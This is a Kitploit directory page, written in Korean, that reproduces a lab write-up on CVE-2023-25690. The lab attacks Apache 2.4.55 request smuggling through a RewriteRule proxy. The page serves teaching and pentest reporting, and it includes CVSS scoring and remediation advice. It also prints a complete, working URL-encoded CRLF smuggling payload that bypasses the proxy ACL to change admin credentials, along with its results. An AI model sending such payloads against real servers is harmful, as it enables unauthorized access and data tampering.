Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-25690_lab — HTTP Request Smuggling 실습: Apache 2.4.55 CRLF injection | Kitploit
도구/GitHubGitHub/giordy0424/cve-2023-25690_lab
Vulnerability AnalysisWeb Application ExploitationCTFPenetration TestingLearning & EducationLabs & Practice
GitHubgiordy0424/cve-2023-25690_lab

CVE-2023-25690_lab

HTTP Request Smuggling 실습: Apache 2.4.55 CRLF injection

저장소 보기
323일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Apache 프록시를 통한 HTTP Request Smuggling

환경 설정

인프라

구성 요소역할버전
Apache HTTP Server리버스 프록시2.4.55 (취약)
Spring Boot (Tomcat 내장)백엔드 API4.x (Java 21)
SQLite데이터베이스—
root@kitploit:~
사용자 ──► Apache :80 (프록시) ──► Spring Boot :8080 (백엔드) ──► SQLite
            │
            ├─ mod_rewrite + mod_proxy
            ├─ CVE-2023-25690: CRLF 비정제
            ├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
            ├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
            └─ ACL: <Location "/admin"> 차단됨

백엔드 공개 엔드포인트

root@kitploit:~
POST /public/register: 데이터베이스에 사용자 등록 허용
POST /public/login: 입력된 자격 증명 검증을 통한 로그인 허용 및 세션 토큰 발급
GET /public/dashboard: 사용자 전용 영역
GET /api/status: "name" 매개변수 수락, 서비스 상태 확인용 예시 엔드포인트
GET /public/logout

백엔드 비공개 엔드포인트

root@kitploit:~
POST /admin/edit/{id}/{newName}/{newPass}: 이론상 공개적으로 접근 불가능한 경로로, 관리자가 사용자 데이터를 수정할 수 있게 해줌

침투 테스트 참조 방법론

  1. 계획(Planning) — 범위 정의
  2. 탐색(Discovery) — 정보 수집, 풋프린팅, 스캐닝 및 엔드포인트 탐색, 취약점 분석
  3. 공격(Attack) — 익스플로잇, 권한 상승
  4. 보고(Reporting) — 경영진 요약, 기술 보고서

경영진 요약

침투 테스트 활동 중 Spring Boot 백엔드를 노출시키는 리버스 프록시 인프라에서 심각한 취약점이 식별되었습니다. Apache HTTP Server 2.4.55 버전의 프록시는 CVE-2023-25690(HTTP Request Smuggling) 취약점의 영향을 받으며, 이로 인해 공격자가 프록시에 적용된 보안 필터를 우회하고 보호되지 않은 내부 관리 엔드포인트에 직접 도달할 수 있습니다.

이 공격은 Apache의 RewriteRule에서 제어 문자(CRLF)를 정제하지 않는 점을 악용하여, 백엔드로 향하는 정당한 요청의 매개변수 사이에 두 번째 HTTP 요청을 주입할 수 있게 합니다. 개념 증명(PoC)을 통해 프록시 ACL로 이론상 보호되는 /admin/edit/{id}/{newName}/{newPass} 엔드포인트를 통한 데이터베이스 내 사용자 자격 증명의 무단 수정이 입증되었습니다.

권장 사항: Apache HTTP Server를 ≥ 2.4.56 버전으로 즉시 업데이트하고, 프록시의 보안 필터를 강화하며, 모든 민감한 엔드포인트에 대해 백엔드 측 보안 계층(Spring Security)을 구현하십시오.


1 계획(Planning)

1.1 방식

  • 공격 벡터: 인터넷
  • 공격 대상 환경: 프로덕션

1.2 그레이 박스 - 알려진 정보:

  • 프론트엔드 호스트명
  • 백엔드 호스트명(또는 기업 내부 네트워크의 IP 주소) 및 포트
  • 비공개 엔드포인트

1.3 테스트 목표

  • 비공개 엔드포인트에 도달하기 위한 Apache ACL 우회
  • 데이터베이스 내 사용자 데이터의 무단 수정 입증
  • 실제 시나리오에서 CVE-2023-25690의 실질적 영향 평가

2 취약점 평가 — 탐색 단계

2.1 정보 수집 및 풋프린팅

2.1.1 배너 그래빙

응답 HTTP 헤더 분석을 통한 Apache 버전 식별.

root@kitploit:~
$ curl -I http://localhost/service/

HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42

결과: Server 헤더가 Apache/2.4.55를 노출함. CVE 데이터베이스 조회 → CVE-2023-25690와 일치.

CVE에 따르면, 이 Apache 버전에서는 프록시로의 요청에서 온 일반 문자를 백엔드 대상 URL로 복사하는 RewriteRule이 존재할 경우, 복사된 텍스트가 정제되지 않아 제어 문자(예: 줄바꿈)도 통과할 수 있습니다.

예시: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // P는 프록시 모드를 의미

따라서 이제 우리의 목표는 프록시 수준에서 이러한 복사를 수행하는 엔드포인트를 발견하는 것입니다.

2.1.2 백엔드 기술 식별

응답 분석과 애플리케이션 동작을 통해 세션이 JSESSIONID로 관리되는 것을 확인할 수 있으며, 이는 Java Servlet Container(Apache Tomcat, Jetty 또는 WildFly 등)의 사용을 확인해줍니다. 또한, 존재하지 않는 엔드포인트에 대한 요청이 "Whitelabel Error Page"를 반환하는 것으로 보아 백엔드에 Spring Boot가 있음을 알 수 있습니다.

2.2 스캐닝 및 엔드포인트 탐색

2.2.1 엔드포인트 발견 (퍼징)

사전 기반 퍼징 자동화를 위한 bash 스크립트를 통해 네트워크에 노출된 엔드포인트가 (아마도 모두) 매핑되었습니다.

결과:

엔드포인트HTTP 코드메서드매개변수
admin403GET(매개변수 없음)
public/register200POSTuser=test&pass=test
public/login200POSTuser=test&pass=test
public/dashboard200GET(매개변수 없음)
public/logout200GET(매개변수 없음)
api/status200GET(매개변수 없음)
service/*200GET(매개변수 없음)

2.2.2 프록시 구성 매핑 (추론)

다음과 같은 사실로부터

  • /service/x
  • /api/status?name=x

두 요청 모두 동일한 응답을 반환하므로 동일한 백엔드 엔드포인트를 가리킨다는 것을 알 수 있습니다. 또한 /service/x/y/z와 같은 요청(존재할 가능성이 매우 낮음)이 404를 반환하지 않는다는 점에서, 원래 엔드포인트가 경로 변수(path variable)가 아닌 매개변수를 수락한다고 추론할 수 있습니다. 결론적으로 /service/<서비스>에 대한 요청이 Spring Boot 백엔드용 RewriteRule로 변환된다는 것을 추론할 수 있습니다(바로 우리가 찾던 것). 이제 이 RewriteRule이 .* 같은 정규식을 사용하는 더미인지, 아니면 잘 구조화되어 있는지 파악해야 합니다.

요청에 제어 문자를 삽입하여 정당한 콘텐츠와 숨겨진 콘텐츠를 분리해 보겠습니다:

root@kitploit:~
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'

>> ... HTTP/1.1 200 ... 'x' 서비스가 정상적으로 운영 중입니다.

CRLF가 올바르게 해석되는지 확인하기 위해 사용자 정의 매개변수를 삽입했습니다.

trash_header는 Apache가 백엔드로의 요청에 추가할 헤더를 캡슐화하는 역할을 합니다(이렇게 하면 단순한 X-Header 텍스트로 해석되어 HTTP 요청 측면에서 아무런 가치를 갖지 않게 됩니다).


공격자 범위 밖

백엔드 컨테이너에서 tcpdump를 사용하여 Apache에서 오는 HTTP 요청을 가로챌 수 있었습니다:

root@kitploit:~
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080

백엔드는 다음 요청을 수신합니다:

root@kitploit:~
GET /api/status?name=x HTTP/1.1
Host: spring-backend

prova: ok
trash_header:  HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive

"제어 문자가 제어권을 가졌습니다"

응답은 제어 문자가 포함된 부분이 단순한 매개변수가 아닌 HTTP 요청 구조 자체로 무사히 통과했음을 나타냅니다(백엔드가 캡처한 이름이 'x'뿐이기 때문). 따라서 우리는 백엔드로 향하는 HTTP 요청의 형식을 강제했고 프록시가 이를 수용했습니다. 이는 실제 스머글링 페이로드로 가는 길을 열어줍니다.

2.3 공격 표면 매핑

엔드포인트메서드접근비고
/public/registerPOST공개사용자 등록
/public/loginPOST공개로그인, JSESSIONID 발급
/public/dashboardGET인증됨전용 영역
/public/logoutGET공개세션 파기
/api/status?name=GET공개상태 확인
/service/{param}GET공개취약한 게이트웨이 (쿼리 문자열의 $1)
/admin/edit/{id}/{n}/{p}POST보호됨 (ACL)사용자 자격 증명 수정
/admin/*차단됨 (403)Apache ACL

3 공격

3.1 공격 목표

Apache 리버스 프록시가 Spring Boot 백엔드로 두 개의 개별 요청을 전달하도록 강제하여, 두 번째 요청이 Apache의 ACL 필터를 우회하고 /admin/edit/ 엔드포인트에 도달하게 하는 것입니다.

이 단계에서는 localhost와 spring-backend가 각각 프록시와 서버의 공개 주소라고 가정합니다. 프록시와 백엔드가 동일한 네트워크(또는 조직)에 있는 경우, spring-backend는 사설 IP가 됩니다(아쉽게도 이를 알아내기는 어려울 것입니다).

3.2 스머글링 메커니즘

취약점은 다음 RewriteRule에 있습니다:

root@kitploit:~
RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]

프록시는 사용자 입력을 $1로 캡처하여 제어 문자를 정제하지 않고(%20, %0d%0a) 쿼리 문자열에 삽입합니다. 백엔드(Tomcat)는 이러한 문자를 URL 종료 및 동일한 TCP 소켓에서의 새 HTTP 요청 시작으로 해석합니다.

3.3 페이로드 구성

root@kitploit:~
A) GET /service/x                  → 정당한 부분; /service/ 이후의 모든 내용이
                                      $1(name 매개변수)로 들어감

B) %20HTTP/1.1                     → [분할 지점] 백엔드에서 URL을 조기에
                                      종료시키는 공백

C) %0d%0aHost:...%0d%0a%0d%0a     → [헤더 주입] 첫 번째 요청을 종료하는 CRLF

D) POST /admin/edit/1/HACKED/PWNED → [스머글드 요청] admin 엔드포인트로 향하는
                                      숨겨진 악성 요청

E) %20HTTP/1.1                     → 두 번째 요청의 HTTP 버전

F) %0d%0aContent-Length:%200       → POST를 위한 빈 본문
   %0d%0aConnection:%20close
   %0d%0aX-Header:%20              → [헤더 싱크] Apache가 자동으로 추가하는
                                      헤더를 흡수

3.4 전체 HTTP 요청

root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost

3.5 흐름 디코딩

Apache가 보는 것 (단일 요청):

root@kitploit:~
GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost

백엔드가 수신하는 것 (동일한 소켓에서의 두 요청):

root@kitploit:~
--- 요청 1 (정당하지만 "절단된") ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend

--- 요청 2 (스머글드) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:

3.6 결과

root@kitploit:~
>> ... HTTP/1.1 200 ... 'x' 서비스가 정상적으로 운영 중입니다.

ID 1의 사용자가 HACKED로 이름이 변경되고 비밀번호가 PWNED로 변경되었습니다 — 프록시 ACL의 완전한 우회.


공격자 범위 밖

확인을 위한 데이터베이스 직접 접근:

root@kitploit:~
$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"

1|HACKED|PWNED

4 취약점 평가

4.1 식별

ID설명
CVE-2023-25690RewriteRule/ProxyPassMatch가 있는 mod_proxy를 통한 Apache HTTP Server HTTP Request Smuggling
CWE-444HTTP 요청의 일관되지 않은 해석('HTTP Request/Response Smuggling')
CWE-113HTTP 헤더의 CRLF 시퀀스 부적절한 중화('HTTP Response Splitting')

4.2 CVSS 3.1 점수

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator

기본 메트릭

메트릭값설명
Attack Vector (AV)N (네트워크)원격 네트워크에서 접근 가능
Attack Complexity (AC)L (낮음)특별한 조건 없음
Privileges Required (PR)N (없음)인증 불필요
User Interaction (UI)N (없음)피해자 상호작용 불필요
Scope (S)C (변경됨)취약한 구성 요소가 피해를 입는 구성 요소와 다름
Confidentiality (C)H (높음)보호된 엔드포인트 접근
Integrity (I)H (높음)데이터베이스 내 사용자 데이터 수정
Availability (A)H (높음)프록시 캐시 오염 가능성 / 소켓 오염

기본 점수: 10.0 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

시간적 메트릭

메트릭값설명
Exploit Code Maturity (E)F (기능적 익스플로잇 존재)작동하는 익스플로잇
Remediation Level (RL)O (공식 수정)이후 Apache 버전에서 버그 수정됨
Report Confidence (RC)C (확인됨)취약점 확인 및 문서화됨

시간적 점수: 9.3 (HIGH)

환경 메트릭

메트릭값설명
Attack Vector (MAV)N (네트워크)프록시가 인터넷에 노출됨
Attack Complexity (MAC)H (높음)내부 엔드포인트 구조에 대한 지식 필요
Privileges Required (MPR)L (낮음)어떤 유형의 권한도 필요 없음
User Interaction (MUI)N (없음)외부 사용자의 상호작용 불필요
Scope (MS)C (변경됨)다른 시스템을 통해 시스템 침해
Impact Metrics (MC/MI/MA)H/H/H최대 피해 (데이터베이스 내 데이터 수정)
CIA Requirements (CR/IR/AR)H/H/H중요 시스템 (사용자 로그인)

환경 점수: 8.0 (HIGH)

벡터 문자열: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H

전체 점수: 8.0 — HIGH


5. 수정 방안

5.1 소프트웨어 업데이트 (권장)

[P] 플래그가 있는 RewriteRule에서 제어 문자 정제가 서버 코어 수준에서 강제되는 ≥ 2.4.56 버전으로 Apache HTTP Server를 업데이트하십시오.

현재 버전대상 버전수정
2.4.552.4.56+mod_proxy의 자동 CRLF 정제

5.2 백엔드 하드닝 (Spring Boot)

Spring Security 구현

pom.xml에 spring-boot-starter-security 추가:

root@kitploit:~
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

관리 엔드포인트를 보호하는 SecurityFilterChain 구성:

root@kitploit:~
@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/public/**").permitAll()
                .requestMatchers("/api/**").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            )
            .httpBasic(Customizer.withDefaults())
            .sessionManagement(session -> session
                .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
        return http.build();
    }
}

입력 검증

엔드포인트가 수락하는 모든 매개변수(쿼리 문자열, 경로 변수, 폼 데이터)에 대한 검증 추가:

root@kitploit:~
@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
        @PathVariable Long id,
        @PathVariable @NotBlank String newName,
        @PathVariable @NotBlank String newPass,
        HttpSession session) {

    // 사용자에게 ADMIN 역할이 있는지 확인
    User loggedUser = (User) session.getAttribute("LOGGED_USER");
    if (loggedUser == null || !loggedUser.hasAdminRole()) {
        return "접근 거부";
    }
    // ... 인증 확인 후에만 작업 허용
}
도구 다운로드